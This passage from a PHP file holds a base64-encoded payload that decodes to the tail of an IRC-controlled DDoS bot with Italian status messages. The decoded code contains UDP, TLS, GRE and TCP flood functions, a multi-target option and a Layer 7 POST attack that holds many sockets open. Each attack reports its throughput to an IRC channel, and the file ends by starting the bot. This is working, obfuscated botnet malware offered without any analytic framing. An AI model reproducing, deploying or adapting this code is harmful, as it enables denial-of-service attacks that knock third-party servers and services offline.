aXRlKCRmcCwgJHBhY2tldCk7CiAgICAgICAgICAgIGZmbHVzaCgkZnApOwogICAgICAgICAgICBpZiAoJGkgJSAxMDAgPT0gMCkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgaWYgKCRlbmQgPCB0aW1lKCkpIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRpKys7CiAgICAgICAgfQogICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgICRlbnYgPSAkaSAqICRwYWNrZXRzaXplOwogICAgICAgICRlbnYgPSAkZW52IC8gMTA0ODU3NjsKICAgICAgICAkdmVsID0gJGVudiAvICR0aW1lOwogICAgICAgICR2ZWwgPSByb3VuZCgkdmVsKTsKICAgICAgICAkZW52ID0gcm91bmQoJGVudik7CiAgICAgICAgJHRoaXMtPnByaXZtc2coJHRoaXMtPmNvbmZpZ1snY2hhbiddLCAiW1wyRERPUyBGSU5JVE9cMl06ICIgLiAkZW52IC4gIiBNQiBzZW50IC8gQXZlcmFnZTogIiAuICR2ZWwgLiAiIE1CL3MgIik7CiAgICB9CiAgICBmdW5jdGlvbiB1ZHB0bHMoJGhvc3QsICRwb3J0LCAkdGltZSkKICAgIHsKICAgICAgICAkcGFja2V0c2l6ZSA9IDY1NTAwOwogICAgICAgICR0aGlzLT5wcml2bXNnKCR0aGlzLT5jb25maWdbJ2NoYW4nXSwgIltcMlVEUFRMUzogRERPUyBBVFRJVkFUTyFcMl0iKTsKICAgICAgICAkcGFja2V0ID0gIiI7CiAgICAgICAgZm9yICgkaSA9IDA7JGkgPCAkcGFja2V0c2l6ZTskaSsrKQogICAgICAgIHsKICAgICAgICAgICAgJHBhY2tldCAuPSBjaHIocmFuZCgxLCAyNTYpKTsKICAgICAgICB9CiAgICAgICAgJGVuZCA9IHRpbWUoKSArICR0aW1lOwogICAgICAgICRpID0gMDsKICAgICAgICAkZnAgPSBmc29ja29wZW4oInRsczovLyIgLiAkaG9zdCwgJHBvcnQsICRlLCAkcywgNSk7CiAgICAgICAgd2hpbGUgKHRydWUpCiAgICAgICAgewogICAgICAgICAgICBmd3JpdGUoJGZwLCAkcGFja2V0KTsKICAgICAgICAgICAgZmZsdXNoKCRmcCk7CiAgICAgICAgICAgIGlmICgkaSAlIDEwMCA9PSAwKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBpZiAoJGVuZCA8IHRpbWUoKSkgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGkrKzsKICAgICAgICB9CiAgICAgICAgZmNsb3NlKCRmcCk7CiAgICAgICAgJGVudiA9ICRpICogJHBhY2tldHNpemU7CiAgICAgICAgJGVudiA9ICRlbnYgLyAxMDQ4NTc2OwogICAgICAgICR2ZWwgPSAkZW52IC8gJHRpbWU7CiAgICAgICAgJHZlbCA9IHJvdW5kKCR2ZWwpOwogICAgICAgICRlbnYgPSByb3VuZCgkZW52KTsKICAgICAgICAkdGhpcy0+cHJpdm1zZygkdGhpcy0+Y29uZmlnWydjaGFuJ10sICJbXDJERE9TIEZJTklUT1wyXTogIiAuICRlbnYgLiAiIE1CIHNlbnQgLyBBdmVyYWdlOiAiIC4gJHZlbCAuICIgTUIvcyAiKTsKICAgIH0KICAgIGZ1bmN0aW9uIHVkcGZsb29kKCRob3N0LCAkcG9ydCwgJHRpbWUsICRwYWNrZXRzaXplKQogICAgewogICAgICAgICR0aGlzLT5wcml2bXNnKCR0aGlzLT5jb25maWdbJ2NoYW4nXSwgIlwyVURQRkxPT0QgQVRUSVZPXDI6ICIgLiAkaG9zdCAuICI6IiAuICRwb3J0IC4gIiAgIiAuICR0aW1lIC4gIiAgIiAuICRwYWNrZXRzaXplIC4gIiIpOwogICAgICAgICRwYWNrZXQgPSAiIjsKICAgICAgICAkYmFja2V0c2l6ZSA9IDE7CiAgICAgICAgZm9yICgkaSA9IDA7JGkgPCAkYmFja2V0c2l6ZTskaSsrKQogICAgICAgIHsKICAgICAgICAgICAgJHBhY2tldCAuPSBjaHIocmFuZCgxLCAyNTYpKTsKICAgICAgICB9CiAgICAgICAgJGVuZCA9IHRpbWUoKSArICR0aW1lOwogICAgICAgICRtdWx0aXRhcmdldCA9IGZhbHNlOwogICAgICAgIGlmIChzdHJwb3MoJGhvc3QsICIsIikgIT09IGZhbHNlKQogICAgICAgIHsKICAgICAgICAgICAgJG11bHRpdGFyZ2V0ID0gdHJ1ZTsKICAgICAgICAgICAgJGhvc3QgPSBleHBsb2RlKCIsIiwgJGhvc3QpOwogICAgICAgIH0KICAgICAgICAkaSA9IDA7CiAgICAgICAgaWYgKCRtdWx0aXRhcmdldCkKICAgICAgICB7CiAgICAgICAgICAgICRmcCA9IGFycmF5KCk7CiAgICAgICAgICAgIGZvcmVhY2ggKCRob3N0IGFzICRob3N0dCkgJGZwW10gPSBmc29ja29wZW4oInVkcDovLyIgLiAkaG9zdHQsICRwb3J0LCAkZSwgJHMsIDUpOwoKICAgICAgICAgICAgJGNvdW50ID0gY291bnQoJGhvc3QpOwogICAgICAgICAgICB3aGlsZSAodHJ1ZSkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgZndyaXRlKCRmcFskaSAlICRjb3VudF0sICRwYWNrZXQpOwogICAgICAgICAgICAgICAgZmZsdXNoKCRmcFskaSAlICRjb3VudF0pOwogICAgICAgICAgICAgICAgaWYgKCRpICUgMTAwID09IDApCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRlbmQgPCB0aW1lKCkpIGJyZWFrOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJGkrKzsKICAgICAgICAgICAgfQogICAgICAgICAgICBmb3JlYWNoICgkZnAgYXMgJGZwcCkgZmNsb3NlKCRmcHApOwogICAgICAgIH0KICAgICAgICBlbHNlCiAgICAgICAgewogICAgICAgICAgICAkZnAgPSBmc29ja29wZW4oInVkcDovLyIgLiAkaG9zdCwgJHBvcnQsICRlLCAkcywgNSk7CiAgICAgICAgICAgIHdoaWxlICh0cnVlKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBmd3JpdGUoJGZwLCAkcGFja2V0KTsKICAgICAgICAgICAgICAgIGZmbHVzaCgkZnApOwogICAgICAgICAgICAgICAgaWYgKCRpICUgMTAwID09IDApCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRlbmQgPCB0aW1lKCkpIGJyZWFrOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJGkrKzsKICAgICAgICAgICAgfQogICAgICAgICAgICBmY2xvc2UoJGZwKTsKICAgICAgICB9CiAgICAgICAgJGVudiA9ICRpICogJHBhY2tldHNpemU7CiAgICAgICAgJGVudiA9ICRlbnYgLyAxMDQ4NTc2OwogICAgICAgICR2ZWwgPSAkZW52IC8gJHRpbWU7CiAgICAgICAgJHZlbCA9IHJvdW5kKCR2ZWwpOwogICAgICAgICRlbnYgPSByb3VuZCgkZW52KTsKICAgICAgICAkdGhpcy0+cHJpdm1zZygkdGhpcy0+Y29uZmlnWydjaGFuJ10sICJcMlVEUEZsb29kIEZpbml0byBcMjogIiAuICRob3N0IC4gIjoiIC4gJHBvcnQgLiAiIFRvdGFsIE1CIHNlbnQ6IiAuICRlbnYgLiAiIEF2ZXJhZ2U6IiAuICR2ZWwgLiAiIE1CL3MgIik7CiAgICB9CiAgICBmdW5jdGlvbiBncmVmbG9vZCgkaG9zdCwgJHBvcnQsICR0aW1lLCAkcGFja2V0c2l6ZSkKICAgIHsKICAgICAgICAkdGhpcy0+cHJpdm1zZygkdGhpcy0+Y29uZmlnWydjaGFuJ10sICJbXDJCT1RTIERET1NJTkchXDJdIik7CiAgICAgICAgJHBhY2tldCA9ICIiOwogICAgICAgIGZvciAoJGkgPSAwOyRpIDwgJHBhY2tldHNpemU7JGkrKykKICAgICAgICB7CiAgICAgICAgICAgICRwYWNrZXQgLj0gY2hyKHJhbmQoMSwgMjU2KSk7CiAgICAgICAgfQogICAgICAgICRlbmQgPSB0aW1lKCkgKyAkdGltZTsKICAgICAgICAkbXVsdGl0YXJnZXQgPSBmYWxzZTsKICAgICAgICBpZiAoc3RycG9zKCRob3N0LCAiLCIpICE9PSBmYWxzZSkKICAgICAgICB7CiAgICAgICAgICAgICRtdWx0aXRhcmdldCA9IHRydWU7CiAgICAgICAgICAgICRob3N0ID0gZXhwbG9kZSgiLCIsICRob3N0KTsKICAgICAgICB9CiAgICAgICAgJGkgPSAwOwogICAgICAgIGlmICgkbXVsdGl0YXJnZXQpCiAgICAgICAgewogICAgICAgICAgICAkZnAgPSBhcnJheSgpOwogICAgICAgICAgICBmb3JlYWNoICgkaG9zdCBhcyAkaG9zdHQpICRmcFtdID0gZnNvY2tvcGVuKCJncmU6Ly8iIC4gJGhvc3R0LCAkcG9ydCwgJGUsICRzLCA1KTsKCiAgICAgICAgICAgICRjb3VudCA9IGNvdW50KCRob3N0KTsKICAgICAgICAgICAgd2hpbGUgKHRydWUpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGZ3cml0ZSgkZnBbJGkgJSAkY291bnRdLCAkcGFja2V0KTsKICAgICAgICAgICAgICAgIGZmbHVzaCgkZnBbJGkgJSAkY291bnRdKTsKICAgICAgICAgICAgICAgIGlmICgkaSAlIDEwMCA9PSAwKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgIGlmICgkZW5kIDwgdGltZSgpKSBicmVhazsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRpKys7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGZvcmVhY2ggKCRmcCBhcyAkZnBwKSBmY2xvc2UoJGZwcCk7CiAgICAgICAgfQogICAgICAgIGVsc2UKICAgICAgICB7CiAgICAgICAgICAgICRmcCA9IGZzb2Nrb3BlbigiZ3JlOi8vIiAuICRob3N0LCAkcG9ydCwgJGUsICRzLCA1KTsKICAgICAgICAgICAgd2hpbGUgKHRydWUpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGZ3cml0ZSgkZnAsICRwYWNrZXQpOwogICAgICAgICAgICAgICAgZmZsdXNoKCRmcCk7CiAgICAgICAgICAgICAgICBpZiAoJGkgJSAxMDAgPT0gMCkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBpZiAoJGVuZCA8IHRpbWUoKSkgYnJlYWs7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkaSsrOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgIH0KICAgICAgICAkZW52ID0gJGkgKiAkcGFja2V0c2l6ZTsKICAgICAgICAkZW52ID0gJGVudiAvIDEwNDg1NzY7CiAgICAgICAgJHZlbCA9ICRlbnYgLyAkdGltZTsKICAgICAgICAkdmVsID0gcm91bmQoJHZlbCk7C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KTsKICAgICAgICB9CiAgICAgICAgd2hpbGUgKCh0aW1lKCkgLSAkdGltZWkgPCAkdGltZSkpCiAgICAgICAgewogICAgICAgICAgICBmb3IgKCRpID0gMDskaSA8IDEwMDskaSsrKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBpZiAoQGZ3cml0ZSgkZnNbJGldLCAkcmVxdWVzdCkpCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgJGZzWyRpXSA9IEBmc29ja29wZW4oJHNlcnZlciwgODAsICRlcnJubywgJGVycnN0cik7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgJHRoaXMtPnByaXZtc2coJHRoaXMtPmNvbmZpZ1snY2hhbiddLCAiW1wyTGF5ZXIgNyB7JG10aGR9IEF0dGFjayBGaW5pc2hlZCFcMl0iKTsKICAgIH0KICAgIGZ1bmN0aW9uIGF0dGFja19wb3N0KCRzZXJ2ZXIsICR0aW1lKQogICAgewogICAgICAgICR0aW1laSA9IHRpbWUoKTsKICAgICAgICAkZnMgPSBhcnJheSgpOwogICAgICAgICR0aGlzLT5wcml2bXNnKCR0aGlzLT5jb25maWdbJ2NoYW4nXSwgIltcMkxheWVyIDcgUG9zdCBBdHRhY2sgU3RhcnRlZCBPbiA6ICRzZXJ2ZXIhXDJdIik7CiAgICAgICAgJHJlcXVlc3QgPSAiUE9TVCAvIiAuIG1kNShyYW5kKCkpIC4gIiBIVFRQLzEuMVxyXG4iOwogICAgICAgICRyZXF1ZXN0IC49ICJIb3N0OiAkc2VydmVyXHJcbiI7CiAgICAgICAgJHJlcXVlc3QgLj0gIlVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChXaW5kb3dzOyBVOyBXaW5kb3dzIE5UIDYuMTsgZW4tVVMpIEFwcGxlV2ViS2l0LzUzNC4xNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMC4wLjY0OC4yMDQgU2FmYXJpLzUzNC4xNlxyXG4iOwogICAgICAgICRyZXF1ZXN0IC49ICJLZWVwLUFsaXZlOiAkdGltZVxyXG4iOwogICAgICAgICRyZXF1ZXN0IC49ICJDb250ZW50LUxlbmd0aDogMTAwMDAwMDAwMFxyXG4iOwogICAgICAgICRyZXF1ZXN0IC49ICJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZFxyXG4iOwogICAgICAgICRyZXF1ZXN0IC49ICJBY2NlcHQ6ICouKlxyXG5cclxuIjsKICAgICAgICBmb3IgKCRpID0gMDskaSA8IDEwMDskaSsrKQogICAgICAgIHsKICAgICAgICAgICAgJGZzWyRpXSA9IEBmc29ja29wZW4oJHNlcnZlciwgODAsICRlcnJubywgJGVycnN0cik7CiAgICAgICAgfQogICAgICAgIHdoaWxlICgodGltZSgpIC0gJHRpbWVpIDwgJHRpbWUpKQogICAgICAgIHsKICAgICAgICAgICAgZm9yICgkaSA9IDA7JGkgPCAxMDA7JGkrKykKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgaWYgKEBmd3JpdGUoJGZzWyRpXSwgJHJlcXVlc3QpKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICRmc1skaV0gPSBAZnNvY2tvcGVuKCRzZXJ2ZXIsIDgwLCAkZXJybm8sICRlcnJzdHIpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGZjbG9zZSgkc29ja2ZkKTsKICAgICAgICAkdGhpcy0+cHJpdm1zZygkdGhpcy0+Y29uZmlnWydjaGFuJ10sICJbXDJMYXllciA3IFBvc3QgQXR0YWNrIEZpbmlzaGVkIVwyXSIpOwogICAgfQogICAgZnVuY3Rpb24gdGNwKCRob3N0LCAkcG9ydCwgJHRpbWUpCiAgICB7CiAgICAgICAgJHRoaXMtPnByaXZtc2coJHRoaXMtPmNvbmZpZ1snY2hhbiddLCAiW1wydGNwIHN0YXJ0ZWQhXDJdIik7CiAgICAgICAgJGVuZCA9IHRpbWUoKSArICR0aW1lOwogICAgICAgICRpID0gMDsKICAgICAgICB3aGlsZSAoJGVuZCA+IHRpbWUoKSkKICAgICAgICB7CiAgICAgICAgICAgICRmcCA9IGZzb2Nrb3BlbigidGNwOi8vIiAuICRob3N0LCAkcG9ydCwgJGUsICRzLCA1KTsKICAgICAgICAgICAgZmNsb3NlKCRmcCk7CiAgICAgICAgICAgICRpKys7CiAgICAgICAgfQogICAgICAgICR0aGlzLT5wcml2bXNnKCR0aGlzLT5jb25maWdbJ2NoYW4nXSwgIltcMnRjcCBGaW5pc2hlZCFcMl06IHNlbnQgIiAuICRpIC4gIiBjb25uZWN0aW9ucyB0byAkaG9zdDokcG9ydC4iKTsKICAgIH0KfQokcG9sbCA9IG5ldyBzZWxsOwokcG9sbC0+c3RhcnQoKTs=")); ?>